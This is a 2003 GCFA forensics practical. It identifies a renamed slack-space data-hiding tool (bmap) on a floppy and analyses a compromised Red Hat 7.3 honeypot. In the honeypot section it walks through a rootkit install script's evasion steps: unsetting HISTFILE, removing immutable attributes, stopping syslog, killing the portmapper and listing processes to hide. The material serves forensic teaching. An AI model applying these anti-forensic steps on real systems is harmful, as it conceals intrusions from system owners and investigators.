GCFA - Practical Assignment

A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.

Date: November 21, 2003

Section 1

1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cec5fbcdf84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompressed the file and another md5checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image-url)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

John Price - disk
Device
Evidence Number: John Price - disk
File Path: C:\Sans\Evidence Files\John Price - disk.E01
Actual Date: 10/14/03 08:46:24PM
Target Date: 10/14/03 08:46:24PM
Total Size: 1,474,560 bytes (1.4MB)
Total Sectors: 2,880
File Integrity: Completely Verified, 0 Errors
EnCase Version: 4.15
System Version: Windows XP
Acquisition Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Verify Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Notes: 1.44 MB floppy - John Price

Figure 2. EnCase Report Screen shot - MD5 Verification
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the 'prog' file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Figure 4. EnCase export of prog file.](image)

![Figure 5. MD5sum – byte count – filetype for 'prog' file (VMware).](image)

The 'prog' MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:

- **ELF executable** – the kernel recognizes the file as a Unix executable.
- **Statically linked** – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- **Stripped** – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.\(^1\)

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```
mft_getopt

ISO/IEC JTC1/SC22/WG20 - internationalization

The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

"use block-list knowledge to perform special operations on files".
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

```
“1.0.20 (07/15/03)”
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

### 1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an:

```
“ELF 32-bit LSB executable for the Intel 80386 platform”.
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

### Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.

---

The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsod, ps, netstat, lsmod and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation `md5sum` was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scylld.com/pub/forensic_computing/bmap/ The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command `snort -dv` was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was “no filename. Try ‘--help’ for help”. Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The –static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```
strip bmap
```

The ‘bmap’ file was compared with the ‘prog’ file using “md5sum”, “file” and “ll” output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the ‘prog’ file. The ‘file’ command output and byte count matched.

Figure 6. A ‘diff’ of before and after MD5 checksums - live response.
The ‘prog’ file and the newly compiled ‘bmap’ file were run with the –help switch. The output from both is shown:

```bash
[root@localhost bin1.4]# ./prog --help
prog:1.0.20 (07/15/03) newt
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
   where VALUE is one of:
   version display version and exit
   help display options and exit
   man generate man page and exit
   sgml generate SGML invocation info

--mode VALUE
   where VALUE is one of:
   m list sector numbers
   c extract a copy from the raw device
   s display data
   p place data
   w wipe
   chk test (returns 0 if exist)
   sb print number of bytes available
   wipe wipe the file from the raw device
   frag display fragmentation information for the file
   checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1

Table 1 String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"
  
  ```
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "puts slack" to "p" and removed "into slack" from line.
- Changed "checks slack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
• Seached on “bmap” and changed to “prog”
• Changed author in Make file from “newt@scyld.com” to “newt”
• Added -static to LD_FLAGS on line 30 in Makefile.
• Changed date to Jul 15, 2003

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bcade02b97d17f20f0937df10511fcf8″. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog –help” and “bmap –help” are shown below. Note: No differences were found.

```
::: bmap.strace3
::: execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
::: geteuid32() = 0
::: execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
::: fcntl64(0, F_GETFD) = 0
::: fcntl64(1, F_GETFD) = 0
::: fcntl64(2, F_GETFD) = 0
::: uname({sys="Linux", node="localhost.localdomain", ...}) = 0
::: geteuid32() = 0
::: getuid32() = 0
::: getegid32() = 0
::: getgid32() = 0
::: brk(0) = 0x80bedec
::: brk(0x80bee0c) = 0x80bee0c
::: brk(0x80bf000) = 0x80bf000
::: brk(0x80c0000) = 0x80c0000
::: write(2, "no filename. try \'-h|--help\' for he", 36) = 36
::: _exit(2) = ?
```

```
::: prog.strace3
::: execve("./prog", ["./prog"], [/* 19 vars */]) = 0
::: geteuid32() = 0
::: execve("./prog", ["./prog"], [/* 19 vars */]) = 0
::: fcntl64(0, F_GETFD) = 0
::: fcntl64(1, F_GETFD) = 0
::: fcntl64(2, F_GETFD) = 0
::: uname({sys="Linux", node="localhost.localdomain", ...}) = 0
::: geteuid32() = 0
::: getuid32() = 0
::: getegid32() = 0
::: getgid32() = 0
::: brk(0) = 0x80bedec
::: brk(0x80bee0c) = 0x80bee0c
::: brk(0x80bf000) = 0x80bf000
::: brk(0x80c0000) = 0x80c0000
::: write(2, "--help\' for he", 36) = 36
::: _exit(2) = ?
```
1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
newt
use block-list knowledge to perform special operations on files
.
.
  bmap_get_block_size
  bmap_map_block
  bmap_raw_open
  bmap_raw_close

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]#

The strings output was used to locate the source code for the “prog” program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

### 1.4. Program Identification

The source for bmap-1.0.20 was located at [ftp://ftp.scyld.com/pub/forensic_computing/bmap/](ftp://ftp.scyld.com/pub/forensic_computing/bmap/). The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program ‘bmap’ is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch “-static” was added.

```makefile
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/.../image"

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static

BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
```

The compile of the “bmap” executable was done by typing “make” in the bmap-1.0.20 directory. To strip the file the command used was “strip bmap”. An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cbb81b2 bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3efa63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

---

**Figure 8. GCC version information located in Unallocated Clusters**
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right,
(a) obtains, directly or indirectly, any computer service,
(b) by means of an electro-magnetic, acoustic, mechanical or other
device, intercepts or causes to be intercepted, directly or
indirectly, any function of a computer system,
(c) uses or causes to be used, directly or indirectly, a computer
system with intent to commit an offence under paragraph (a) or (b) or
an offence under section 430 in relation to data or a computer
system, or
(d) uses, possesses, traffics in or permits another person to have
access to a computer password that would enable a person to commit an
offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to imprisonment for a
term not exceeding ten years, or is guilty of an offence punishable
on summary conviction. 3

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The "prog" program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What logon ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
of files.

5) What workstations do you use? Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and/or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```
# find / -name \* -type f -exec bmap -checkslack {} \
```

The command will start at root (/) looking for all (-name \*) files (-type f) and run “bmap -checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gz file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:

www.fileshares.org/  
www.convenience-city.net/main/pub/index.htm  
emmpeethrees.com/hidden/index.htm  
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,

I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information

Linux Data Hiding and Recovery Article -

Section 2

2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The hard drive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5" floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2 kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

---

2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tag # 01</td>
<td>Western Digital AC26400-60RTT0 Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB</td>
</tr>
<tr>
<td>Tag # 02</td>
<td>Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085</td>
</tr>
<tr>
<td>Tag # 03</td>
<td>Western Digital AC26400-60RTT0 Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB</td>
</tr>
<tr>
<td>Tag # 04</td>
<td>Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129</td>
</tr>
<tr>
<td>Tag # 05</td>
<td>CDROM labeled “Casefile 10/10/03 logs” with initials FT</td>
</tr>
</tbody>
</table>
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

Figure 11. FastBloc - drive image Tag #01
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

![Hashing](image)

**Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system**

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

![After Acquisition](image)

**Figure 13. Initial search, MD5 of files and Signature analysis.**
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

| MD5 (liveresponse.tar) = 994b0c3b8e91d10087fa085f9586f4de |
| MD5 (sebek.out) = 82b86c939e8347c71e25655530566dc7 |
| MD5 (snortfiles.tar) = 66130385e828dbb5218a492d6f1df6a1 |
| MD5 (varddimage.gz) = d073eb91e149936a313f907cd3c9a3ac |
Using md5sum.exe from http://www.etree.org/md5com.html, the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c93e8347c71e25655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6al *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJDA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all the tools used during the analysis;

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. www.guidancesoftware.com

2. mac_robber is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. www.stake.com/research/tools/forensic

3. The live response kit consisted of the following Linux binaries:

   a. `nc` (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. `date` used to record the start time and stop time of the response.
   c. `w` used to identify who is currently logged in.
   d. `netstat` used to show the internet sockets that are open and to display the routing information.
   e. `lsof` used to identify backdoors and network services.
   f. `ps` used to show the processes in the process table.
   g. `ifconfig` used to obtain the network configuration
   h. `ls` used to list the /proc file system.
   i. `md5sum` used to record MD5 checksums.

See Table 2 for the exact syntax used for each command. The LD_LIBRARY_PATH variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

- Nfsd
- sshd_config
- Popauth
- minilogd
- /tmp/.s
- services
weit /x

Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

<table>

</tbody>
</table>

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-“ removes attributes from the file, “i” => immutable, “a” => append only and “u” => undeletable’). The files the command was used on are listed below;

    /etc/rc.d/init.d/sshd  /etc/rc.d/init.d/syslog
    /etc/rc.d/init.d/functions  /usr/local/sbin/sshd
    /usr/sbin/sshd  /bin/ps

3) Stop syslog with "/etc/rc.d/init.d/syslog stop"

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

   2 sl   2 sl2  2 st   2 v
   2 foo  3 scan  3 ping  3 tcpd
   3 nfsd 3 lpd   3 r00t  2 x2
